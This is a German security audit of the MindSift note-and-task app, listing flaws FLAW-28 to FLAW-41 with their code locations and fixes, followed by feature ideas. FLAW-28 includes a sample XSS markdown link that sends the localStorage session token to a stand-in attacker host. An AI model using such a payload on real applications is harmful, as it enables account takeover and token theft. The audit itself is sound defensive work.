MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
12 KiB
12 KiB
Schwachstellen, Risiken & Ideen
Stand: Review des Branches dev nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
Schweregrade: Hoch (Kontoübernahme oder Datenabfluss möglich), Mittel (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), Niedrig (Härtung, Datenschutz, Wartbarkeit).
Übersicht
| ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---|
| FLAW-28 | Frontend | javascript:-Links in Markdown (Aufgaben-Notizen) werden ausgeführt |
Hoch |
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, nosniff) |
Mittel |
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im localStorage |
Mittel |
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
| FLAW-33 | Demo | Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen) | Mittel |
| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig |
| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als ?token= |
Niedrig |
| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig |
| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig |
| FLAW-38 | Betrieb | WriteTimeout von 30 s bricht große Downloads ab |
Niedrig |
| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig |
| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
Details
FLAW-28: javascript:-Links in Markdown
- Fundstelle:
renderInlinein lib/markdown.tsx:[Text](URL)wird ungeprüft zu<a href={url}>. Verwendet für Aufgaben-Notizen (TaskDetailModal) und Impressum/Datenschutz. - Problem:
[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token imlocalStorageliegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nurhttp(s)-Links erlaubt. - Maßnahme: Nur
http:,https:undmailto:alshrefzulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
FLAW-29: Keine Sicherheits-Header
- Fundstelle: Router in server.go, Auslieferung in cmd/server/main.go.
- Problem: Es gibt weder
Content-Security-PolicynochX-Frame-Options/frame-ancestors,X-Content-Type-Options: nosniffoderReferrer-Policy. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst. - Maßnahme: Header-Middleware:
frame-ancestors 'none',nosniff,Referrer-Policy: same-origin, CSP mitscript-src 'self'(Inline-Splash-Script per Hash erlauben) undconnect-src 'self'.
FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
- Fundstelle:
handleUpdateUserSettingsin handlers_auth.go (PATCH /auth/settingsmitpasswordbzw.email). - Problem: Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (
confirmPassword). - Maßnahme: Für Passwort- und E-Mail-Änderung
currentPasswordverlangen (gleiche Prüfung wieconfirmPassword), Hinweis-Mail an die alte Adresse.
FLAW-31: Langlebige Sitzung im localStorage
- Fundstelle:
GenerateToken(30 Tage) in auth.go,setTokenin lib/api.ts. - Problem: Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- Maßnahme: Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
FLAW-32: Nur 40 Bit Zufall in IDs
- Fundstelle:
NewIDin domain/models.go (5 Zufallsbytes); EinladungscodesINV-…inCreateUserInvite(users.go) leiten sich davon ab. - Problem: Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- Maßnahme:
NewIDauf 12 Bytes (96 Bit) anheben (Spalten sindTEXT, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
FLAW-33: Öffentliche Demo als Absender missbrauchbar
- Fundstelle: Admin-Routen in server.go; Demo-Konto
admin/admin(users.go). - Problem: Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- Ausgehende Anfragen: Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
- Maßnahme: Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
FLAW-34: SMTP-Passwort im Klartext
- Fundstelle:
handleAdminGetSettings(handlers_admin.go) liefertsmtpPassaus; Speicherung insystem_settings. - Problem: Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- Maßnahme: Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per
SMTP_PASS-Umgebungsvariable statt Datenbank.
FLAW-35: ?token= beim Webhook-Ingest
- Fundstelle:
handleWebhookIngestin handlers_integrations.go. - Problem: Neben
X-API-Keywird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login. - Maßnahme: In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
FLAW-36: Kein allgemeines Größenlimit für Anfragen
- Fundstelle: 46 Stellen
json.NewDecoder(r.Body)ohnehttp.MaxBytesReaderininternal/api/(Ausnahmen: Import, Themes, Sync, Passwort-Reset). - Problem: Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- Maßnahme: Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
FLAW-37: Server-Backups überleben das gelöschte Konto
- Fundstelle:
DeleteOwnAccount/handleAdminDeleteUserundbackups/users/<id>/(backups.go). - Problem: Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- Maßnahme: Beim Löschen eines Kontos
backups/users/<id>/mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
FLAW-38: Große Downloads brechen nach 30 s ab
- Fundstelle:
WriteTimeout: 30 * time.Secondin cmd/server/main.go; betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (http.ServeFile). - Problem: Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- Maßnahme: Für Download-Handler die Schreibfrist per
http.ResponseControllerverlängern, wie bei SSE.
FLAW-39: Kein Rate-Limit außerhalb des Logins
- Fundstelle:
handleRegister,handleForgotPassword(Sperre nur je Konto), Einladungscode-Prüfung. - Problem: Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- Maßnahme: Den vorhandenen
loginGuardum Töpfe pro Adresse für diese Endpunkte erweitern.
FLAW-40: Einladungscode doppelt einlösbar
- Fundstelle:
handleRegister:GetUserInviteByCode→ Konto anlegen →MarkUserInviteUsed. - Problem: Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- Maßnahme: Code in einer Transaktion bzw. per
UPDATE … WHERE used_by = ''beanspruchen, bevor das Konto entsteht.
FLAW-41: Sehr große Frontend-Dateien
- Fundstelle:
WorkspaceView.tsx(≈ 2.300 Zeilen),TasksView.tsx(≈ 2.500),lib/api.ts(≈ 1.700). - Problem: Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
- Maßnahme: In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und
api.tsin REST-Client und Realtime-Transport teilen.
Ideen für Funktionen
Erfassen
- Teilen-Ziel der App (
share_targetim Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen. - Natürliche Zeitangaben beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
- Mail an die Inbox: eine persönliche Adresse, deren Mails als Gedanken landen.
Aufgaben & Erinnerungen
- Web-Push-Benachrichtigungen für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
- Alarme auch für Zugewiesene, nicht nur für den Eigentümer der Aufgabe.
- Zeitzone pro Benutzer statt einer Server-Zeitzone für alle.
- Kalenderansicht und iCal-Abo der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
- Flexiblere Wiederholungen: „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
Notizen
- Versionsverlauf ansehen und zurückholen: das Operations-Log (
doc_ops) ist vorhanden, eine Ansicht fehlt. - Bilder und Anhänge in Notizen.
- Vorlagen und Tagesnotiz (z. B. „Wochenrückblick“, „Heute“).
- Öffentlicher Lese-Link für einzelne Notizen, mit Ablaufdatum.
- Verlinkungs-Graph auf Basis der Backlinks.
Listen
- Sortierung nach Laden: Kategorien in der Reihenfolge des eigenen Supermarkts.
- Häufige Einträge vorschlagen beim Tippen (aus erledigten Einträgen).
Konto & Sicherheit
- Zwei-Faktor-Anmeldung (TOTP) oder Passkeys.
- Sitzungsübersicht mit Einzel-Abmelden (siehe FLAW-31).
- Anmeldung über OIDC (Authelia, Authentik, Keycloak) für Homelab-Setups.
- Admin-Protokoll: wer hat wann Konten, Rollen und Einstellungen geändert.
Betrieb
- Backups an ein externes Ziel (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
/metricsfür Prometheus und ein Healthcheck, der auch die Datenbank prüft.- Update-Hinweis in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.